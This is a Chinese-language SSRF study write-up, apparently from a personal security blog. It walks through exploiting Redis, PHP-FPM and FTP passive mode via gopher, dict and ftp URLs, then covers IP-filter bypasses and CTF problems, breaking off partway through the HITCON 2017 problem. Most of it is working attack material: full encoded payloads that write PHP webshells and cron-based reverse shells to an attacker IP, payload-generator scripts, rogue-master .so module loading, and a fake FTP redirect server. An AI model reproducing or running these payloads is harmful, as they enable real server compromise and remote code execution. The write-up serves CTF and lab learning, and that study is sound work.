形成原因
SSRF(服务端请求伪造漏洞) 是由于服务端提供了从其他服务器应用(url)获取数据的功能,并把请求的数据返回到前端,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,导致访问到了不该访问的数据。
引起ssrf的函数有几个:
函数 | 功能 |
---|---|
file_get_contents($file) | 获取$file文件内容,也可以传入url远程获取 |
curl_exec() | php实现curl的一个拓展,用于发送网络请求,返回请求结果 |
fsockopen() | 使用socket与目标进行连接,传输原始数据 |
实验学习
本地搭一个简单的环境,用curl_exec学习
<?php
if(isset($_GET['url']))
{
$URL=$_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
if ($RES === false) {
echo 'Curl error: ' . curl_error($CH);
}
else
{
echo $RES;
}
} else {
highlight_file(__FILE__);
}
?>
+
-
伪协议利用
ssrf的利用,涉及到一些伪协议,如下
file协议
在学习文件包含时就学习过,可以用来读取文件,但是需要知道文件的绝对路径,如
/?url=file:///flag
http协议
也是学习过的,从网络上远程获取资源,把url改为127.0.0.1,就可以获取后端服务器上的(网站根目录下)其他资源,
dict协议
用于探测服务器上的一些端口是否开放,为后续的操作奠定基础
?url=dict://127.0.0.1:3306 #探测3306端口
如果开放了端口,就会返回相关的信息,没有开放,curl会有报错信息,如果没有curl_error返回报错信息,可能返回空数据包或者得等好一会才有返回的数据包
gopher协议
在http协议出现之前,是一种早期的互联网协议,用于检索和传输文本数据,在web出现之前是主要的互联网服务,现在用的比较少
可以使用GET,POST方法传数据 get方法如下
先构造最简单的http get数据包,然后把数据包进行url编码,把空格编码为%20,问号编码为%3f, 换行要替换为%0d%0A,不然会报错,数据结尾如果没有%0d%0A,要记得补上
GET /my/ssrf/ssrf.php?url=file:///flag HTTP/1.1
Host:192.168.184.201
第一次编码完是这样:
GET%20/my/ssrf/ssrf.php%3furl=file:///flag%20HTTP/1.1%0d%0AHost:%20192.168.184.201%0d%0A
整体要再编码一次才能在浏览器上发送
GET%2520/my/ssrf/ssrf.php%253furl%3Dfile%3A///flag%2520HTTP/1.1%250d%250AHost%3A%2520192.168.184.201%250d%250A
完整payload:
url=gopher://127.0.0.1:80/_GET%2520/my/ssrf/ssrf.php%253furl%3Dfile%3A///flag%2520HTTP/1.1%250d%250AHost%3A%2520192.168.184.201%250d%250A
还有两个小点要注意:
- GET前要加_,因为gopher协议会吞一个字符
- gopher协议默认端口为70,要自己改为80
post方法:
用一个简单的php来举例
?php echo "how are you ".$_POST['name']."?";
echo $_POST['age'];
?>
构造一个简单的post数据包
POST /ssrf.php HTTP/1.1
host:192.168.17.1
Content-Type:application/x-www-form-urlencoded
Content-Length:16
name=jack&age=14
跟get一样,第一步先初步编码,换掉空格,换行符,post没有问号,但是如果在数据体中有&,要编码为:%26,没有则不用,第二步再url编码第一步替换后的整个数据包,payload:
url=gopher://127.0.0.1:80/_POST%2520/hello.php%2520HTTP/1.1%250d%250Ahost%3A192.168.184.201%250d%250AContent-Type%3Aapplication/x-www-form-urlencoded%250d%250AContent-Length%3A16%250d%250A%250d%250Aname%3Djack%26age%3D14%250d%250A
gopher协议在ssrf中其实并不单独使用,通常要配合其他服务来使用
服务利用
1.ssrf,可以配合一些未授权(没有设置密码)的服务(或者泄露了服务的密码或者密码弱口令),来利用,针对不同的服务达到写入webshell或反弹shell的目的
redis服务
当服务器上redis的配置允许远程连接时,并且没有配置密码(或密码泄露),我们可以通过ssrf,远程连接上服务器的redis,执行一些redis命令
可以使用dict协议或gopher,与gopher不同的是dict一次只能执行单个命令,gopher可以一次执行多个命令
可以通过ssrf给服务器上的redis服务传递命令,传入写入webshell(要求有写入文件的权限)或者反弹shell的指令
先运行
ps -ef | grep redis
要像上图一样是root用户运行,才有写入权限,如果显示是redis用户,就无法进行测试,可以看下面这篇文章来解决
https://blog.8owe.com/378.html
dict协议
看一下redis写入webshell的一些相关指令,利用的是redis可以保存文件并指定保存路径(如果有root权限)
config set dir /var/www/html # 设置写入数据的路径
config set dbfilename shell.php # 设置保存数据文件的文件名
set x "\x0a\x0a\x0a\x20\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x78\x27\x5d\x29\x3b\x3f\x3e\x0a\x0a\x0a" # 设置一个键值对,值为一句话木马的十六进制编码
save # 保存数据,设置的键值对中的值就会保存到/var/www/html/shell.php中
在测试时,发现总是有各种问题导致无法成功设置x为一句话木马,十六进制编码后就行了,相当于
\n\n\n <?php @eval($_POST['x']);?>\n\n\n
redis写入文件会添加一些其他数据,最好加上换行隔开
现在通过dict协议,分别传送上面四条指令,如
?url=dict://127.0.0.1:6379/config set dir /var/www/html
?url=dict://127.0.0.1:6379/config set dbfilename shell.php
?url=dict://127.0.0.1:6379/set x "\x0a\x0a\x0a\x20\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x78\x27\x5d\x29\x3b\x3f\x3e\x0a\x0a\x0a"
save
蚁剑连接成功,webshell成功写入
现在测试反弹shell,上网查找资料,发现Ubuntu大多都无法测试反弹shell(文件权限问题),我自己测试时也总是失败,于是我起一个可以反弹的docker来测试
跟我自己的差不多,get换为了POST,这里有两个容器,另一个运行了redis服务,地址为:172.20.1.3
测试一下redis服务有没有设置密码
并没有,直接dict协议写入计划任务(定时执行),执行反弹shell的计划任务,分别传输下面4个指令
?url=dict://172.20.1.3:6379/set x "\x0a\x0a\x2a\x2f\x31\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x2d\x69\x3e\x26\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x38\x34\x2e\x31\x35\x30\x2f\x31\x32\x33\x34\x20\x30\x3e\x26\x31\x0a\x0a"
?url=dict://172.20.1.3:6379/config set dir /var/spool/cron
?url=dict://172.20.1.3:6379/config set dbfilename root
?url=dict://172.20.1.3:6379/save
x 的值就是
\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.184.150/1234 0>&1\n\n
反弹成功,但奇怪的是redis服务器居然也是Ubuntu,也能反弹回来
gopher协议
写入webshell
payload使用脚本生成,也可以自己来,要socat抓包修改,有点麻烦,直接用大佬的脚本吧(py3)
import urllib.parse as up
protocol="gopher://"
ip="192.168.184.201"
port="6379"
shell="\n\n<?php eval($_POST[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += up.quote(redis_format(x))
print(payload)
在linux上使用curl,直接发这个生成的payload,浏览器上发送的话,就要把第/_
后面的内容,再url编码一次,
返回5个ok,就是执行成功,看看webshell,
写入成功
反弹shell,同样在那个docker下,使用上面的脚本,把shell参数换成反弹shell的命令即可,对应修改dbfilename和dir
payload
url=gopher://172.20.1.3:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252464%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520/bin/bash%2520-i%253E%2526/dev/tcp/192.168.184.150/1234%25200%253E%25261%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
反弹成功
主从复制
主从复制是指将一台Redis主服务器的数据,复制到其他的Redis从服务器。前者称为主节点(master),后者称为从节点(slave);
主服务器可以进行读写操作,当发生写操作时自动将写操作同步给从服务器,而从服务器一般是只读,如果要写会接受主服务器同步过来的写操作命令,然后执行这条命令。
影响redis的版本:4.x-5.x,
命令
slaveof host port #把host:port的主机认定为redis主服务器 主服务器要把bind 127.0.0.1的设置注释掉
利用思路:
在攻击机上启动redis服务,然后编译生成可以执行系统命令的so文件,用脚本让目标的服务器与我的redis服务器建立从属关系,同步写入so文件,然后用load module 命令加载该so文件执行系统命令
认定后,主服务器的写入和删除操作都会同步给从服务器
利用思路:
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过C语言编译并加载恶意的.so文件,达到代码执行的目的,这个的利用大多是利用大佬的脚本
git clone https://github.com/Dliv3/redis-rogue-server.git
如果redis服务暴露在外网,可以直接使用这个脚本,用法
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>
如果有密码,可以通过–rpasswd 添加密码
运行成功,就可以拿到交互式的shell,如:
如果服务在内网,要通过ssrf来利用,起一个之前用过的ssrf-redis的docker,
内网中192.168.1.3:6379,运行着redis服务
先使用上面的脚本,只加一个参数 --server-only
然后用下面大佬的脚本,生成gopher数据(让处于内网的redis主动来建立主从关系,同步恶意so文件并执行命令)
import requests
import re
def urlencode(data):
enc_data = ''
for i in data:
h = str(hex(ord(i))).replace('0x', '')
if len(h) == 1:
enc_data += '%0' + h.upper()
else:
enc_data += '%' + h.upper()
return enc_data
def gen_payload(payload):
redis_payload = ''
for i in payload.split('\n'):
arg_num = '*' + str(len(i.split(' ')))
redis_payload += arg_num + '\r\n'
for j in i.split(' '):
arg_len = '$' + str(len(j))
redis_payload += arg_len + '\r\n'
redis_payload += j + '\r\n'
gopher_payload = 'gopher://192.168.1.3:6379/_' + urlencode(redis_payload)
return gopher_payload
payload1 = '''
slaveof 192.168.184.150 21000
config set dir /tmp
config set dbfilename exp.so
quit
'''
payload2 = '''
slaveof no one
module load /tmp/exp.so
system.exec 'ls /'
quit
'''
print(gen_payload(payload1)) //写入so文件
print(gen_payload(payload2)) //加载so文件
这两个payload分两次发送,第一次发送后
如果这样显示,就是完成同步成功并写入so文件,但我在发送第二个payload时,就发生无法加载so文件的报错,
容器redis的版本是5.0.5,redis运行的日志默认又不写入文件,想要设置但一重启redis服务,容器就会销毁,实在头疼
应该容器的gcc版本太低,是4.4.7,我kali上的是12.2.0
php-fpm服务
php-fpm服务是fastcgi协议的一个具体实现,FastCGI(Fast Common Gateway Interface)是一种用于改善 CGI(Common Gateway Interface)性能的协议。
是服务器中间件和某个语言后端进行数据交换的协议,与标准的 CGI 不同,它允许 Web 服务器复用已加载的解释器,从而避免了每次请求都重新加载解释器的开销。
php-fpm默认是Unix套接字模式来通信,使用TCP模式监听9000端口通信时我们才可以利用,在phpinfo界面也可以看出来
远程利用
当fpm服务被设置为可以接受外部请求,我们可以直接利用,如我这里:/etc/php/7.4/fpm/pool.d/www.conf
查看一下9000端口,
TCP*:9000,表示可以接受外部或内部的请求,
但是我们访问9000端口要构造符合fast-cgi协议的数据包,而不是在浏览器使用http协议去访问,具体如何利用fast-cgi协议的原理可看下面这篇大佬的文章,
https://tttang.com/archive/1775/#toc_fastcgi PHP-FPM攻击详解
我这里就简单描述一下,fast-cgi协议中的PHP_VALUE和PHP_ADMIN_VALUE,这两个值可以修改php的配置,如果这么设置
'PHP_VALUE': 'auto_prepend_file = php://input', #加载php文件之前,先包含php://input协议读取到的内容
'PHP_ADMIN_VALUE': 'allow_url_include = On' #php://input协议生效的条件
在文件包含中我们学习过,,php://input读取的是POST原始数据,所以我们在发送fast-cgi协议数据修改php配置的同时,把我们的恶意php代码写入POST的body中,就会被成功执行,使用fast-cgi协议还有一个小的前提:要知道对方服务器上已知的一个php文件的绝对路径
要做到这两个操作,我们可以利用网上的一个大佬的脚本
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
使用命令
python3 fpm.py -c "<?php system('ls /');?>" -p 9000 192.168.184.200 /var/www/html/ssrf.php
-c 是要执行的php代码,-p是ip地址和端口,最后是已知的php绝对路径
执行成功,也可以反弹shell,
python3 fpm.py -c '<?php $a = fopen("/tmp/shell.sh", "w"); fwrite($a, "bash -i &>/dev/tcp/192.168.184.150/1234 0>&1"); fclose($a); ?>' -p 9000 192.168.184.200 /var/www/html/ssrf.php
写入可以反弹的shell.sh,然后在执行
python3 fpm.py -c '<?php shell_exec("bash /tmp/shell.sh") ?>' -p 9000 192.168.184.200 /var/www/html/ssrf.php
反弹成功
ssrf利用
如果www.conf文件中listen=9000改为listen=127.0.0.1:9000,那我们就无法从外部去访问9000端口,就像下面这样
!
这时我们要通过ssrf,让服务器上的php程序来访问它的9000端口
用工具gopherus.py,生成payload,地址如下:
https://github.com/tarunkant/Gopherus
使用工具生成gopher数据包
把/_后面的部分再url编码一下,形成完整的payload
url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2503%2503%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2516SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fssrf.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2504%2500%253C%253Fphp%2520system%2528%2527ls%2520%2F%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r----—-%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
结果
执行成功
反弹shell
也是用gopherus.py,命令改为下面这个
bash -c "bash -i >& /dev/tcp/192.168.184.150/1234 0>&1"
/_后面的部分url编码一下,完整payload:
url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH107%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2516SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fssrf.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500k%2504%2500%253C%253Fphp%2520system%2528%2527bash%2520-c%2520%2522bash%2520-i%2520%253E%2526%2520%2Fdev%2Ftcp%2F192.168.184.150%2F1234%25200%253E%25261%2522%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
反弹成功
ftp被动模式
curl也是支持ftp协议的,不过这个方法常用于file_put_contents或其他文件写入的点中,用于可利用协议受限制的情况
既能打redis,也可以打php-fpm
ftp是文件传输的协议,有主动模式和被动模式,
主动模式:
客户端通过命令连接请求连接到服务器的标准FTP端口(默认端口21),向该端口发送控制信息(port命令,包含客户端用什么端口接收命令),服务器确认连接后,在指定的端口上主动建立数据连接并向客户端发送数据,传输完成后服务器关闭数据连接
被动模式:
同样是客户端连接ftp服务器的20端口建立连接,但并不是发送port命令,而是发送pasv命令。服务端收到pasv命令后,在自己本机上打开一个高端端口(>1024),并发送自己的公网ip和该端口给客户端,客户端收到后就与服务端给的地址和端口建立连接传输数据。
利用方法:
我们自己建立一个ftp服务器,让目标来向我们发送ftp传输文件的请求,被动模式下本来我们的ftp服务器应该传输给目标我们的ip和端口,但我们修改为127.0.0.1:9000,目标就会向127.0.0.1:9000(即目标本机fpm服务监听端口)建立连接并传输我们的恶意payload,达到ssrf的目的,
大佬的建立ftp服务代码(python)
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',2337)) #端口可改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
实验demo
<?php
highlight_file(__FILE__);
if(isset($_GET['file'])&&isset($_GET['data']))
{
file_put_contents($_GET['file'],$_GET['data']);
}
?>
fpm
先在攻击机上运行ftp服务,运行
python ftp.py
利用gopherus.py生成fastcgi的,反弹shell的payload,跟上面的一样,取_后面的内容
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%16SCRIPT_FILENAME/var/www/html/ssrf.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.184.150/1234%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
传送给php的payload
?file=ftp://[email protected]:2337/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%16SCRIPT_FILENAME/var/www/html/ssrf.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.184.150/1234%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
ftp协议要指定用户名和路径,我这里是随便写的aaa和123
反弹成功
redis
其实ftp就是相当于重定向我们的payload到目标端口,那是不是可以用redis的payload,重定向到6379端口呢?尝试一下,修改一下脚本的重定向端口
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
改为
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,6370)\n') #STOR / (2)
gopherus生成redis的,写入webshell的payload
截取_后面的内容,形成完整的payload
?file=ftp://[email protected]:2337/123&data=%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
写入成功
相关过滤及绕过
过滤内网地址
现在网站根目录下有一个phpinfo.php,尝试访问,
重定向
- 用sudo.cc绕过,访问sudo.cc会重定向到127.0.0.1,
-
可以让目标程序访问我们自己的vps上的php程序(turn.php),代码如下
<?php header("HTTP/1.1 302 found"); header('Location:http://127.0.0.1/phpinfo.php'); ?>
当目标访问这个php程序时,就会重定向到自己网站路径上的文件,当然还能修改协议为gopher,用gopher访问也可以
这个有一个利用条件:
curl_setopt($CH, CURLOPT_FOLLOWLOCATION, TRUE);
CURLOPT_FOLLOWLOCATION设为true,curl才能跟随着location跳转,我这里用了内网穿透来测试
进制转换
IP地址转为32位整数或不同进制编码绕过,如
0177.0.0.1 或017700000001 //八进制
0x7f.0.0.1 或0x7f000001 //十六进制
2130706433 //十进制
特殊0或省略0
特殊0绕过,linux中直接访问0也是访问127.0.0.1,0.0.0.0也可以
127.0.0.1中间的0也是可以省略,直接127.1访问
添加@
这个绕过方式针对的是php的一个内置的,用来解析url的一个函数,parse_url
,和curl的这两个方法存在的解析漏洞,先学习一下parse_url的解析漏洞,
例如解析这个url
http://username:password@hostname/path?arg=value#anchor
?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
// 解析 URL
$parsed_url = parse_url($url);
var_dump($parsed_url);
?>
结果,
可以看到,url中的各个参数都被解析出来,放入一个数组中,如果使用这个方法,一般会针对host进行过滤
对于host的解析,parse_url匹配的是最后一个@后面的内容,如果是这个url
http://username:password@host1@host2/path?arg=value#anchor
host就是host2
而对于curl,它解析host匹配的是遇到的第一个@,后面如果还有@,会被丢弃(这个漏洞在7.62.0被修复),我虚拟机就是7.62.0,于是起个docker
所以,如果题目用parse_url解析host后,判断是否是一个安全的host,否则退出,例如我这个docker中
<?php
highlight_file(__FILE__);
function check_ip($url) {
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result) {
die('url fomat error');
}
try {
$url_parse=parse_url($url);
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24
|| ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
} catch(Exception $e) {
die('url fomat error');
return false;
}
}
$ip=$_GET['ip'];
if(check_ip($ip))
{
die('hacker!');
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ip);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url']) {
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
?>
这个对于是否是内网ip的检查,除了前面的进制转换和特殊0,还可以添加@绕过
url=http://@127.0.0.1:[email protected]/index.html
这样一来,parse_url解析的host是www.baidu.com
,而curl解析的host却是127.0.0.1,path是/index.html
成功绕过,访问到了服务器上的其他文件
/path
要跟在伪造的host后面,如果跟在127.0.0.1:80后面,host会被解析为127.0.0.1,绕过失败
句号代替.
ip=http://127。0。0。1/phpinfo.php
可以绕过我起的那个docker中的防御,
封闭式字母数字
封闭式字母数字(Enclosed Alphanumerics),都可以被解析为正常数字,如,
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
① ② ⑦ . ①=>127.1
限制host以某个地址开始
1.假如如果给url添加一个条件,必须以某个地址开始,也可以添加@绕过,因为低版本curl中第一个@后面的会被匹配为host
以ctfhub的题目为例子
这样构造url
url=http://[email protected]/flag.php
限制host以某个字符串结束
以ctfshow358题的代码为例子:
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_GET['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
这个要求url必须以ctf.
开头,show
结尾,ctf开头可用@绕过
show结尾用?或# ,?后面的字符串会被解析为查询参数,不会被解析为host,#会被解析为fragment(用于指定资源中的特定片段或位置。它由一个井号(#)后面跟着一个标识符组成,通常被称为“片段标识符”)
如:
url=http://[email protected]/phpinfo.php?show
或
url=http://[email protected]/phpinfo.php#show
如果get传参,要记得把#
编码为%23
成功
经典题目练习
[网鼎杯 2020 玄武组]SSRFMe
题目源码
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
我之前的docker好像就是根据这个改的,这个ip检查可以用0或者十六进制绕过(ip2long转不了16进制,返回false),源码提示访问hint.php,访问一下
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
这里很明显有提示打redis,本来想尝试绕过exit写webshell,但发现好像没有写入权限,失败了
那就尝试打redis,返回最初位置,用脚本生成payload,再二次编码,payload
url=gopher://0x7f000001:6379/_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bcmd%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25248%250D%250Asavequit%250D%250A
传入后不知道为啥会报502,但是shell.php成功写入了,
蚁剑连接,读取flag,
[HITCON 2017]SSRFme
题目源码:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
